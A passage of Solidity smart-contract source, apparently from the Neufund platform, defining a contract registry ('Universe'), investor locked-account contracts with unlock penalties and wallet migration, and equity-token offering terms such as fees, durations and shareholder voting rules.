if (isContract(to)) {
IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data);
}
return true;
}
function mOnTransfer(
address from,
address,
uint256
)
internal
acceptAgreement(from)
returns (bool allow)
{
return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig);
}
function mOnApprove(
address owner,
address,
uint256
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return true;
}
function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
private
{
uint256 prevEuroUlps = _totalEurUlps;
mDestroyTokens(msg.sender, burnNeumarkUlps);
_totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps);
assert(prevEuroUlps >= _totalEurUlps);
uint256 euroUlps = prevEuroUlps - _totalEurUlps;
emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps);
}
}
contract IFeeDisbursal is IERC223Callback {
}
contract IPlatformPortfolio is IERC223Callback {
}
contract ITokenExchangeRateOracle {
function getExchangeRate(address numeratorToken, address denominatorToken)
public
constant
returns (uint256 rateFraction, uint256 timestamp);
function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens)
public
constant
returns (uint256[] rateFractions, uint256[] timestamps);
}
contract Universe is
Agreement,
IContractId,
KnownInterfaces
{
event LogSetSingleton(
bytes4 interfaceId,
address instance,
address replacedInstance
);
event LogSetCollectionInterface(
bytes4 interfaceId,
address instance,
bool isSet
);
mapping(bytes4 => address) private _singletons;
mapping(bytes4 =>
mapping(address => bool)) private _collections;
mapping(address => bytes4[]) private _instances;
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
Agreement(accessPolicy, forkArbiter)
public
{
setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy);
setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter);
}
function getSingleton(bytes4 interfaceId)
public
constant
returns (address)
{
return _singletons[interfaceId];
}
function getManySingletons(bytes4[] interfaceIds)
public
constant
returns (address[])
{
address[] memory addresses = new address[](interfaceIds.length);
uint256 idx;
while(idx < interfaceIds.length) {
addresses[idx] = _singletons[interfaceIds[idx]];
idx += 1;
}
return addresses;
}
function isSingleton(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _singletons[interfaceId] == instance;
}
function isInterfaceCollectionInstance(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _collections[interfaceId][instance];
}
function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance)
public
constant
returns (bool)
{
uint256 idx;
while(idx < interfaceIds.length) {
if (_collections[interfaceIds[idx]][instance]) {
return true;
}
idx += 1;
}
return false;
}
function getInterfacesOfInstance(address instance)
public
constant
returns (bytes4[] interfaces)
{
return _instances[instance];
}
function setSingleton(bytes4 interfaceId, address instance)
public
only(ROLE_UNIVERSE_MANAGER)
{
setSingletonPrivate(interfaceId, instance);
}
function setManySingletons(bytes4[] interfaceIds, address[] instances)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
uint256 idx;
while(idx < interfaceIds.length) {
setSingletonPrivate(interfaceIds[idx], instances[idx]);
idx += 1;
}
}
function setCollectionInterface(bytes4 interfaceId, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
setCollectionPrivate(interfaceId, instance, set);
}
function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instance, set);
idx += 1;
}
}
function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
require(interfaceIds.length == set_flags.length);
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]);
idx += 1;
}
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0);
}
function accessPolicy() public constant returns (IAccessPolicy) {
return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]);
}
function forkArbiter() public constant returns (IEthereumForkArbiter) {
return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]);
}
function neumark() public constant returns (Neumark) {
return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]);
}
function etherToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]);
}
function euroToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]);
}
function etherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ETHER_LOCK];
}
function euroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_EURO_LOCK];
}
function icbmEtherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK];
}
function icbmEuroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK];
}
function identityRegistry() public constant returns (address) {
return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]);
}
function tokenExchangeRateOracle() public constant returns (address) {
return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]);
}
function feeDisbursal() public constant returns (address) {
return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]);
}
function platformPortfolio() public constant returns (address) {
return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]);
}
function tokenExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE];
}
function gasExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE];
}
function platformTerms() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS];
}
function setSingletonPrivate(bytes4 interfaceId, address instance)
private
{
require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON");
address replacedInstance = _singletons[interfaceId];
if (replacedInstance != instance) {
dropInstance(replacedInstance, interfaceId);
addInstance(instance, interfaceId);
_singletons[interfaceId] = instance;
}
emit LogSetSingleton(interfaceId, instance, replacedInstance);
}
function setCollectionPrivate(bytes4 interfaceId, address instance, bool set)
private
{
if (_collections[interfaceId][instance] == set) {
return;
}
_collections[interfaceId][instance] = set;
if (set) {
addInstance(instance, interfaceId);
} else {
dropInstance(instance, interfaceId);
}
emit LogSetCollectionInterface(interfaceId, instance, set);
}
function addInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
while(idx < current.length) {
if (current[idx] == interfaceId)
return;
idx += 1;
}
current.push(interfaceId);
}
function dropInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
uint256 last = current.length - 1;
while(idx <= last) {
if (current[idx] == interfaceId) {
if (idx < last) {
current[idx] = current[last];
}
current.length -= 1;
return;
}
idx += 1;
}
}
}
contract MigrationTarget is
IMigrationTarget
{
modifier onlyMigrationSource() {
require(msg.sender == currentMigrationSource(), "NF_INV_SOURCE");
_;
}
}
contract ICBMLockedAccountMigration is
MigrationTarget
{
function migrateInvestor(
address investor,
uint256 balance,
uint256 neumarksDue,
uint256 unlockDate
)
public;
}
contract ICBMRoles {
bytes32 internal constant ROLE_LOCKED_ACCOUNT_ADMIN = 0x4675da546d2d92c5b86c4f726a9e61010dce91cccc2491ce6019e78b09d2572e;
bytes32 internal constant ROLE_WHITELIST_ADMIN = 0xaef456e7c864418e1d2a40d996ca4febf3a7e317fe3af5a7ea4dda59033bbe5c;
}
contract TimeSource {
function currentTime() internal constant returns (uint256) {
return block.timestamp;
}
}
contract ICBMLockedAccount is
AccessControlled,
ICBMRoles,
TimeSource,
Math,
IsContract,
MigrationSource,
IERC677Callback,
Reclaimable
{
enum LockState {
Uncontrolled,
AcceptingLocks,
AcceptingUnlocks,
ReleaseAll
}
struct Account {
uint256 balance;
uint256 neumarksDue;
uint256 unlockDate;
}
IERC677Token private ASSET_TOKEN;
Neumark private NEUMARK;
uint256 private LOCK_PERIOD;
uint256 private PENALTY_FRACTION;
uint256 private _totalLockedAmount;
uint256 internal _totalInvestors;
LockState private _lockState;
address private _controller;
address private _penaltyDisbursalAddress;
mapping(address => Account) internal _accounts;
event LogFundsLocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsUnlocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogPenaltyDisbursed(
address indexed disbursalPoolAddress,
uint256 amount,
address assetToken,
address investor
);
event LogLockStateTransition(
LockState oldState,
LockState newState
);
event LogInvestorMigrated(
address indexed investor,
uint256 amount,
uint256 neumarks,
uint256 unlockDate
);
modifier onlyController() {
require(msg.sender == address(_controller));
_;
}
modifier onlyState(LockState state) {
require(_lockState == state);
_;
}
modifier onlyStates(LockState state1, LockState state2) {
require(_lockState == state1 || _lockState == state2);
_;
}
constructor(
IAccessPolicy policy,
IERC677Token assetToken,
Neumark neumark,
address penaltyDisbursalAddress,
uint256 lockPeriod,
uint256 penaltyFraction
)
MigrationSource(policy, ROLE_LOCKED_ACCOUNT_ADMIN)
Reclaimable()
public
{
ASSET_TOKEN = assetToken;
NEUMARK = neumark;
LOCK_PERIOD = lockPeriod;
PENALTY_FRACTION = penaltyFraction;
_penaltyDisbursalAddress = penaltyDisbursalAddress;
}
function lock(address investor, uint256 amount, uint256 neumarks)
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
require(amount > 0);
assert(ASSET_TOKEN.transferFrom(msg.sender, address(this), amount));
Account storage account = _accounts[investor];
account.balance = addBalance(account.balance, amount);
account.neumarksDue = add(account.neumarksDue, neumarks);
if (account.unlockDate == 0) {
_totalInvestors += 1;
account.unlockDate = currentTime() + LOCK_PERIOD;
}
emit LogFundsLocked(investor, amount, neumarks);
}
function unlock()
public
onlyStates(LockState.AcceptingUnlocks, LockState.ReleaseAll)
{
unlockInvestor(msg.sender);
}
function receiveApproval(
address from,
uint256,
address _token,
bytes _data
)
public
onlyState(LockState.AcceptingUnlocks)
returns (bool)
{
require(msg.sender == _token);
require(_data.length == 0);
require(_token == address(NEUMARK));
unlockInvestor(from);
return true;
}
function controllerFailed()
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
changeState(LockState.ReleaseAll);
}
function controllerSucceeded()
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
changeState(LockState.AcceptingUnlocks);
}
function setController(address controller)
public
only(ROLE_LOCKED_ACCOUNT_ADMIN)
onlyState(LockState.Uncontrolled)
{
_controller = controller;
changeState(LockState.AcceptingLocks);
}
function setPenaltyDisbursal(address penaltyDisbursalAddress)
public
only(ROLE_LOCKED_ACCOUNT_ADMIN)
{
require(penaltyDisbursalAddress != address(0));
_penaltyDisbursalAddress = penaltyDisbursalAddress;
}
function assetToken()
public
constant
returns (IERC677Token)
{
return ASSET_TOKEN;
}
function neumark()
public
constant
returns (Neumark)
{
return NEUMARK;
}
function lockPeriod()
public
constant
returns (uint256)
{
return LOCK_PERIOD;
}
function penaltyFraction()
public
constant
returns (uint256)
{
return PENALTY_FRACTION;
}
function balanceOf(address investor)
public
constant
returns (uint256, uint256, uint256)
{
Account storage account = _accounts[investor];
return (account.balance, account.neumarksDue, account.unlockDate);
}
function controller()
public
constant
returns (address)
{
return _controller;
}
function lockState()
public
constant
returns (LockState)
{
return _lockState;
}
function totalLockedAmount()
public
constant
returns (uint256)
{
return _totalLockedAmount;
}
function totalInvestors()
public
constant
returns (uint256)
{
return _totalInvestors;
}
function penaltyDisbursalAddress()
public
constant
returns (address)
{
return _penaltyDisbursalAddress;
}
function enableMigration(IMigrationTarget migration)
public
onlyStates(LockState.AcceptingLocks, LockState.AcceptingUnlocks)
{
MigrationSource.enableMigration(migration);
}
function migrate()
public
onlyMigrationEnabled()
{
Account memory account = _accounts[msg.sender];
if (account.balance == 0) {
return;
}
removeInvestor(msg.sender, account.balance);
assert(ASSET_TOKEN.approve(address(_migration), account.balance));
ICBMLockedAccountMigration(_migration).migrateInvestor(
msg.sender,
account.balance,
account.neumarksDue,
account.unlockDate
);
emit LogInvestorMigrated(msg.sender, account.balance, account.neumarksDue, account.unlockDate);
}
function reclaim(IBasicToken token)
public
{
require(token != ASSET_TOKEN);
Reclaimable.reclaim(token);
}
function addBalance(uint256 balance, uint256 amount)
internal
returns (uint256)
{
_totalLockedAmount = add(_totalLockedAmount, amount);
uint256 newBalance = balance + amount;
return newBalance;
}
function subBalance(uint256 balance, uint256 amount)
private
returns (uint256)
{
_totalLockedAmount -= amount;
return balance - amount;
}
function removeInvestor(address investor, uint256 balance)
private
{
subBalance(balance, balance);
_totalInvestors -= 1;
delete _accounts[investor];
}
function changeState(LockState newState)
private
{
assert(newState != _lockState);
emit LogLockStateTransition(_lockState, newState);
_lockState = newState;
}
function unlockInvestor(address investor)
private
{
Account memory accountInMem = _accounts[investor];
if (accountInMem.balance == 0) {
return;
}
removeInvestor(investor, accountInMem.balance);
if (_lockState == LockState.AcceptingUnlocks) {
require(NEUMARK.transferFrom(investor, address(this), accountInMem.neumarksDue));
NEUMARK.burn(accountInMem.neumarksDue);
if (currentTime() < accountInMem.unlockDate) {
require(_penaltyDisbursalAddress != address(0));
uint256 penalty = decimalFraction(accountInMem.balance, PENALTY_FRACTION);
if (isContract(_penaltyDisbursalAddress)) {
require(
ASSET_TOKEN.approveAndCall(_penaltyDisbursalAddress, penalty, "")
);
} else {
assert(ASSET_TOKEN.transfer(_penaltyDisbursalAddress, penalty));
}
emit LogPenaltyDisbursed(_penaltyDisbursalAddress, penalty, ASSET_TOKEN, investor);
accountInMem.balance -= penalty;
}
}
if (_lockState == LockState.ReleaseAll) {
accountInMem.neumarksDue = 0;
}
assert(ASSET_TOKEN.transfer(investor, accountInMem.balance));
emit LogFundsUnlocked(investor, accountInMem.balance, accountInMem.neumarksDue);
}
}
contract LockedAccount is
Agreement,
Math,
Serialization,
ICBMLockedAccountMigration,
IdentityRecord,
KnownInterfaces,
Reclaimable,
IContractId
{
struct Account {
uint112 balance;
uint112 neumarksDue;
uint32 unlockDate;
}
struct Destination {
address investor;
uint112 amount;
}
IERC223Token private PAYMENT_TOKEN;
Neumark private NEUMARK;
uint256 private LOCK_PERIOD;
uint256 private PENALTY_FRACTION;
Universe private UNIVERSE;
ICBMLockedAccount private MIGRATION_SOURCE;
IERC677Token private OLD_PAYMENT_TOKEN;
uint112 private _totalLockedAmount;
uint256 internal _totalInvestors;
mapping(address => Account) internal _accounts;
mapping(address => mapping(address => Account)) internal _commitments;
mapping(address => Destination[]) private _destinations;
event LogFundsCommitted(
address indexed investor,
address indexed commitment,
uint256 amount,
uint256 neumarks
);
event LogFundsUnlocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsLocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsRefunded(
address indexed investor,
address indexed commitment,
uint256 amount,
uint256 neumarks
);
event LogPenaltyDisbursed(
address indexed disbursalPoolAddress,
address indexed investor,
uint256 amount,
address paymentToken
);
event LogMigrationDestination(
address indexed investor,
address indexed destination,
uint256 amount
);
modifier onlyIfCommitment(address commitment) {
require(UNIVERSE.isInterfaceCollectionInstance(KNOWN_INTERFACE_COMMITMENT, commitment), "NF_LOCKED_ONLY_COMMITMENT");
_;
}
constructor(
Universe universe,
Neumark neumark,
IERC223Token paymentToken,
ICBMLockedAccount migrationSource
)
Agreement(universe.accessPolicy(), universe.forkArbiter())
Reclaimable()
public
{
PAYMENT_TOKEN = paymentToken;
MIGRATION_SOURCE = migrationSource;
OLD_PAYMENT_TOKEN = MIGRATION_SOURCE.assetToken();
UNIVERSE = universe;
NEUMARK = neumark;
LOCK_PERIOD = migrationSource.lockPeriod();
PENALTY_FRACTION = migrationSource.penaltyFraction();
require(keccak256(abi.encodePacked(ITokenMetadata(OLD_PAYMENT_TOKEN).symbol())) == keccak256(abi.encodePacked(PAYMENT_TOKEN.symbol())));
}
function transfer(address commitment, uint256 amount, bytes )
public
onlyIfCommitment(commitment)
{
require(amount > 0, "NF_LOCKED_NO_ZERO");
Account storage account = _accounts[msg.sender];
require(account.balance >= amount, "NF_LOCKED_NO_FUNDS");
uint112 unlockedNmkUlps = uint112(
proportion(
account.neumarksDue,
amount,
account.balance
)
);
account.balance = subBalance(account.balance, uint112(amount));
account.neumarksDue -= unlockedNmkUlps;
Account storage investment = _commitments[address(commitment)][msg.sender];
investment.balance += uint112(amount);
investment.neumarksDue += unlockedNmkUlps;
assert(PAYMENT_TOKEN.transfer(commitment, amount, abi.encodePacked(msg.sender)));
emit LogFundsCommitted(msg.sender, commitment, amount, unlockedNmkUlps);
}
function unlock()
public
{
unlockInvestor(msg.sender);
}
function receiveApproval(address from, uint256, address _token, bytes _data)
public
returns (bool)
{
require(msg.sender == _token);
require(_data.length == 0);
require(_token == address(NEUMARK), "NF_ONLY_NEU");
unlockInvestor(from);
return true;
}
function refunded(address investor)
public
{
Account memory investment = _commitments[msg.sender][investor];
if (investment.balance == 0)
return;
delete _commitments[msg.sender][investor];
Account storage account = _accounts[investor];
require(account.unlockDate > 0, "NF_LOCKED_ACCOUNT_LIQUIDATED");
account.balance = addBalance(account.balance, investment.balance);
account.neumarksDue = add112(account.neumarksDue, investment.neumarksDue);
assert(PAYMENT_TOKEN.transferFrom(msg.sender, address(this), investment.balance));
emit LogFundsRefunded(investor, msg.sender, investment.balance, investment.neumarksDue);
}
function claimed(address investor) public {
delete _commitments[msg.sender][investor];
}
function pendingCommitments(address commitment, address investor)
public
constant
returns (uint256 balance, uint256 neumarkDue)
{
Account storage i = _commitments[commitment][investor];
return (i.balance, i.neumarksDue);
}
function migrateInvestor(
address investor,
uint256 balance256,
uint256 neumarksDue256,
uint256 unlockDate256
)
public
onlyMigrationSource()
{
require(balance256 < 2**112, "NF_OVR");
uint112 balance = uint112(balance256);
assert(neumarksDue256 < 2**112);
uint112 neumarksDue = uint112(neumarksDue256);
assert(unlockDate256 < 2**32);
uint32 unlockDate = uint32(unlockDate256);
require(OLD_PAYMENT_TOKEN.transferFrom(msg.sender, address(this), balance));
IWithdrawableToken(OLD_PAYMENT_TOKEN).withdraw(balance);
if (PAYMENT_TOKEN == UNIVERSE.etherToken()) {
EtherToken(PAYMENT_TOKEN).deposit.value(balance)();
} else {
EuroToken(PAYMENT_TOKEN).deposit(this, balance, 0x0);
}
Destination[] storage destinations = _destinations[investor];
if (destinations.length == 0) {
lock(investor, balance, neumarksDue, unlockDate);
} else {
uint256 idx;
while(idx < destinations.length) {
Destination storage destination = destinations[idx];
uint112 partialAmount = destination.amount == 0 ? balance : destination.amount;
require(partialAmount <= balance, "NF_LOCKED_ACCOUNT_SPLIT_OVERSPENT");
uint112 partialNmkUlps = uint112(
proportion(
neumarksDue,
partialAmount,
balance
)
);
balance -= partialAmount;
neumarksDue -= partialNmkUlps;
lock(destination.investor, partialAmount, partialNmkUlps, unlockDate);
idx += 1;
}
require(balance == 0, "NF_LOCKED_ACCOUNT_SPLIT_UNDERSPENT");
assert(neumarksDue == 0);
delete _destinations[investor];
}
}
function setInvestorMigrationWallet(address destinationWallet)
public
{
Destination[] storage destinations = _destinations[msg.sender];
if(destinations.length > 0) {
delete _destinations[msg.sender];
}
addDestination(destinations, destinationWallet, 0);
}
function setInvestorMigrationWallets(address[] wallets, uint112[] amounts)
public
{
require(wallets.length == amounts.length);
Destination[] storage destinations = _destinations[msg.sender];
if(destinations.length > 0) {
delete _destinations[msg.sender];
}
uint256 idx;
while(idx < wallets.length) {
addDestination(destinations, wallets[idx], amounts[idx]);
idx += 1;
}
}
function getInvestorMigrationWallets(address investor)
public
constant
returns (address[] wallets, uint112[] amounts)
{
Destination[] storage destinations = _destinations[investor];
wallets = new address[](destinations.length);
amounts = new uint112[](destinations.length);
uint256 idx;
while(idx < destinations.length) {
wallets[idx] = destinations[idx].investor;
amounts[idx] = destinations[idx].amount;
idx += 1;
}
}
function currentMigrationSource()
public
constant
returns (address)
{
return address(MIGRATION_SOURCE);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x15fbe12e85e3698f22c35480f7c66bc38590bb8cfe18cbd6dc3d49355670e561, 0);
}
function ()
public
payable
{
require(msg.sender == address(OLD_PAYMENT_TOKEN));
}
function reclaim(IBasicToken token)
public
{
require(token != PAYMENT_TOKEN, "NO_PAYMENT_TOKEN_RECLAIM");
Reclaimable.reclaim(token);
}
function paymentToken()
public
constant
returns (IERC223Token)
{
return PAYMENT_TOKEN;
}
function neumark()
public
constant
returns (Neumark)
{
return NEUMARK;
}
function lockPeriod()
public
constant
returns (uint256)
{
return LOCK_PERIOD;
}
function penaltyFraction()
public
constant
returns (uint256)
{
return PENALTY_FRACTION;
}
function balanceOf(address investor)
public
constant
returns (uint256 balance, uint256 neumarksDue, uint32 unlockDate)
{
Account storage account = _accounts[investor];
return (account.balance, account.neumarksDue, account.unlockDate);
}
function totalLockedAmount()
public
constant
returns (uint256)
{
return _totalLockedAmount;
}
function totalInvestors()
public
constant
returns (uint256)
{
return _totalInvestors;
}
function addBalance(uint112 balance, uint112 amount)
internal
returns (uint112)
{
_totalLockedAmount = add112(_totalLockedAmount, amount);
return balance + amount;
}
function subBalance(uint112 balance, uint112 amount)
private
returns (uint112)
{
_totalLockedAmount = sub112(_totalLockedAmount, amount);
return sub112(balance, amount);
}
function removeInvestor(address investor, uint112 balance)
private
{
subBalance(balance, balance);
_totalInvestors -= 1;
delete _accounts[investor];
}
function unlockInvestor(address investor)
private
{
Account memory accountInMem = _accounts[investor];
if (accountInMem.balance == 0) {
return;
}
removeInvestor(investor, accountInMem.balance);
require(NEUMARK.transferFrom(investor, address(this), accountInMem.neumarksDue));
NEUMARK.burn(accountInMem.neumarksDue);
if (block.timestamp < accountInMem.unlockDate) {
address penaltyDisbursalAddress = UNIVERSE.feeDisbursal();
require(penaltyDisbursalAddress != address(0));
uint112 penalty = uint112(decimalFraction(accountInMem.balance, PENALTY_FRACTION));
assert(PAYMENT_TOKEN.transfer(penaltyDisbursalAddress, penalty, abi.encodePacked(NEUMARK)));
emit LogPenaltyDisbursed(penaltyDisbursalAddress, investor, penalty, PAYMENT_TOKEN);
accountInMem.balance -= penalty;
}
assert(PAYMENT_TOKEN.transfer(investor, accountInMem.balance, ""));
emit LogFundsUnlocked(investor, accountInMem.balance, accountInMem.neumarksDue);
}
function lock(address investor, uint112 amount, uint112 neumarks, uint32 unlockDate)
private
acceptAgreement(investor)
{
require(amount > 0);
Account storage account = _accounts[investor];
if (account.unlockDate == 0) {
_totalInvestors += 1;
}
account.balance = addBalance(account.balance, amount);
account.neumarksDue = add112(account.neumarksDue, neumarks);
if (unlockDate > account.unlockDate) {
account.unlockDate = unlockDate;
}
emit LogFundsLocked(investor, amount, neumarks);
}
function addDestination(Destination[] storage destinations, address wallet, uint112 amount)
private
{
IIdentityRegistry identityRegistry = IIdentityRegistry(UNIVERSE.identityRegistry());
IdentityClaims memory claims = deserializeClaims(identityRegistry.getClaims(wallet));
require(claims.isVerified && !claims.accountFrozen, "NF_DEST_NO_VERIFICATION");
if (wallet != msg.sender) {
(,,uint256 unlockDate) = MIGRATION_SOURCE.balanceOf(wallet);
require(unlockDate == 0, "NF_DEST_NO_SQUATTING");
}
destinations.push(
Destination({investor: wallet, amount: amount})
);
emit LogMigrationDestination(msg.sender, wallet, amount);
}
function sub112(uint112 a, uint112 b) internal pure returns (uint112)
{
assert(b <= a);
return a - b;
}
function add112(uint112 a, uint112 b) internal pure returns (uint112)
{
uint112 c = a + b;
assert(c >= a);
return c;
}
}
contract ShareholderRights is IContractId {
enum VotingRule {
NoVotingRights,
Positive,
Negative,
Proportional
}
bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bool public constant HAS_DRAG_ALONG_RIGHTS = true;
bool public constant HAS_TAG_ALONG_RIGHTS = true;
bool public constant HAS_GENERAL_INFORMATION_RIGHTS = true;
VotingRule public GENERAL_VOTING_RULE;
VotingRule public TAG_ALONG_VOTING_RULE;
uint256 public LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC;
bool public HAS_FOUNDERS_VESTING;
uint256 public GENERAL_VOTING_DURATION;
uint256 public RESTRICTED_ACT_VOTING_DURATION;
uint256 public VOTING_FINALIZATION_DURATION;
uint256 public TOKENHOLDERS_QUORUM_FRAC = 10**17;
uint256 public VOTING_MAJORITY_FRAC = 10**17;
string public INVESTMENT_AGREEMENT_TEMPLATE_URL;
constructor(
VotingRule generalVotingRule,
VotingRule tagAlongVotingRule,
uint256 liquidationPreferenceMultiplierFrac,
bool hasFoundersVesting,
uint256 generalVotingDuration,
uint256 restrictedActVotingDuration,
uint256 votingFinalizationDuration,
uint256 tokenholdersQuorumFrac,
uint256 votingMajorityFrac,
string investmentAgreementTemplateUrl
)
public
{
require(uint(generalVotingRule) < 4);
require(uint(tagAlongVotingRule) < 4);
require(tokenholdersQuorumFrac < 10**18);
require(keccak256(abi.encodePacked(investmentAgreementTemplateUrl)) != EMPTY_STRING_HASH);
GENERAL_VOTING_RULE = generalVotingRule;
TAG_ALONG_VOTING_RULE = tagAlongVotingRule;
LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC = liquidationPreferenceMultiplierFrac;
HAS_FOUNDERS_VESTING = hasFoundersVesting;
GENERAL_VOTING_DURATION = generalVotingDuration;
RESTRICTED_ACT_VOTING_DURATION = restrictedActVotingDuration;
VOTING_FINALIZATION_DURATION = votingFinalizationDuration;
TOKENHOLDERS_QUORUM_FRAC = tokenholdersQuorumFrac;
VOTING_MAJORITY_FRAC = votingMajorityFrac;
INVESTMENT_AGREEMENT_TEMPLATE_URL = investmentAgreementTemplateUrl;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x7f46caed28b4e7a90dc4db9bba18d1565e6c4824f0dc1b96b3b88d730da56e57, 0);
}
}
contract PlatformTerms is Math, IContractId {
uint256 public constant PLATFORM_FEE_FRACTION = 3 * 10**16;
uint256 public constant TOKEN_PARTICIPATION_FEE_FRACTION = 2 * 10**16;
uint256 public constant PLATFORM_NEUMARK_SHARE = 2;
bool public constant IS_ICBM_INVESTOR_WHITELISTED = true;
uint256 public constant MIN_TICKET_EUR_ULPS = 100 * 10**18;
uint256 public constant DATE_TO_WHITELIST_MIN_DURATION = 5 days;
uint256 public constant TOKEN_RATE_EXPIRES_AFTER = 4 hours;
uint256 public constant MIN_WHITELIST_DURATION = 0 days;
uint256 public constant MAX_WHITELIST_DURATION = 30 days;
uint256 public constant MIN_PUBLIC_DURATION = 0 days;
uint256 public constant MAX_PUBLIC_DURATION = 60 days;
uint256 public constant MIN_OFFER_DURATION = 1 days;
uint256 public constant MAX_OFFER_DURATION = 90 days;
uint256 public constant MIN_SIGNING_DURATION = 14 days;
uint256 public constant MAX_SIGNING_DURATION = 60 days;
uint256 public constant MIN_CLAIM_DURATION = 7 days;
uint256 public constant MAX_CLAIM_DURATION = 30 days;
function calculateNeumarkDistribution(uint256 rewardNmk)
public
pure
returns (uint256 platformNmk, uint256 investorNmk)
{
platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;
return (platformNmk, rewardNmk - platformNmk);
}
function calculatePlatformTokenFee(uint256 tokenAmount)
public
pure
returns (uint256)
{
return proportion(tokenAmount, TOKEN_PARTICIPATION_FEE_FRACTION, 10**18);
}
function calculatePlatformFee(uint256 amount)
public
pure
returns (uint256)
{
return decimalFraction(amount, PLATFORM_FEE_FRACTION);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x95482babc4e32de6c4dc3910ee7ae62c8e427efde6bc4e9ce0d6d93e24c39323, 0);
}
}
contract ETODurationTerms is IContractId {
uint32 public WHITELIST_DURATION;
uint32 public PUBLIC_DURATION;
uint32 public SIGNING_DURATION;
uint32 public CLAIM_DURATION;
constructor(
uint32 whitelistDuration,
uint32 publicDuration,
uint32 signingDuration,
uint32 claimDuration
)
public
{
WHITELIST_DURATION = whitelistDuration;
PUBLIC_DURATION = publicDuration;
SIGNING_DURATION = signingDuration;
CLAIM_DURATION = claimDuration;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x5fb50201b453799d95f8a80291b940f1c543537b95bff2e3c78c2e36070494c0, 0);
}
}
contract ETOTokenTerms is IContractId {
uint256 public MIN_NUMBER_OF_TOKENS;
uint256 public MAX_NUMBER_OF_TOKENS;
uint256 public TOKEN_PRICE_EUR_ULPS;
uint256 public MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
uint256 public constant EQUITY_TOKENS_PER_SHARE = 10000;
uint8 public constant EQUITY_TOKENS_PRECISION = 0;
constructor(
uint256 minNumberOfTokens,
uint256 maxNumberOfTokens,
uint256 tokenPriceEurUlps,
uint256 maxNumberOfTokensInWhitelist
)
public
{
require(maxNumberOfTokensInWhitelist <= maxNumberOfTokens);
require(maxNumberOfTokens >= minNumberOfTokens);
require(minNumberOfTokens >= EQUITY_TOKENS_PER_SHARE, "NF_ETO_TERMS_ONE_SHARE");
MIN_NUMBER_OF_TOKENS = minNumberOfTokens;
MAX_NUMBER_OF_TOKENS = maxNumberOfTokens;
TOKEN_PRICE_EUR_ULPS = tokenPriceEurUlps;
MAX_NUMBER_OF_TOKENS_IN_WHITELIST = maxNumberOfTokensInWhitelist;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
